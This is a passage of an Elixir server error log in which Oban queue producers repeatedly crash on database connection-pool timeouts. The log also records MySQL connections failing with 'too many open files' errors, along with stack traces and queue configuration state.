    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:16:29.240148Z], limit: 3, uuid: "86a9174e-aa9c-406d-9012-ba49b4abe24d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:29.240154Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.172395>, refresh_timer: #Reference<0.2525715032.1121189889.172375>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:16:29.240133Z], limit: 20, uuid: "9be0f32d-66d2-4680-b20e-e5a91e4fdd9d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:29.240138Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.172394>, refresh_timer: #Reference<0.2525715032.1121189889.172373>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:16:29.240537Z], limit: 5, uuid: "6007ef98-d172-4deb-8fa5-8e193a7eec61", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:29.240542Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.172398>, refresh_timer: #Reference<0.2525715032.1077673987.30712>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:16:29.240333Z], limit: 5, uuid: "71e721c8-4404-41dd-ad92-e17bff8894d4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:29.240338Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.172397>, refresh_timer: #Reference<0.2525715032.1077673987.30709>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:44.755000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:46.837000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:48.292000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:51.938000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:52.296000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:16:42.240734Z], limit: 3, uuid: "2ff32c4a-c1fa-4c78-9ce3-5f28a571b952", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:42.240739Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.52216>, refresh_timer: #Reference<0.2525715032.1068498948.52215>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:16:42.240642Z], limit: 10, uuid: "04091ba9-7f2a-47a2-a803-9469b0d59e38", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:42.240648Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.30884>, refresh_timer: #Reference<0.2525715032.1077673987.30883>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:16:42.240892Z], limit: 20, uuid: "57cf01ec-3952-47de-9e71-b3b146f81076", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:42.240897Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.52250>, refresh_timer: #Reference<0.2525715032.1099431938.54070>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:16:42.240875Z], limit: 5, uuid: "727b5424-9d4f-4df4-8397-eba24b8ae997", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:42.240880Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.54079>, refresh_timer: #Reference<0.2525715032.1077673987.30895>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:16:42.240880Z], limit: 5, uuid: "814e64e1-e455-4256-8e02-236df6948e27", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:42.240885Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.54078>, refresh_timer: #Reference<0.2525715032.1099431938.54067>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
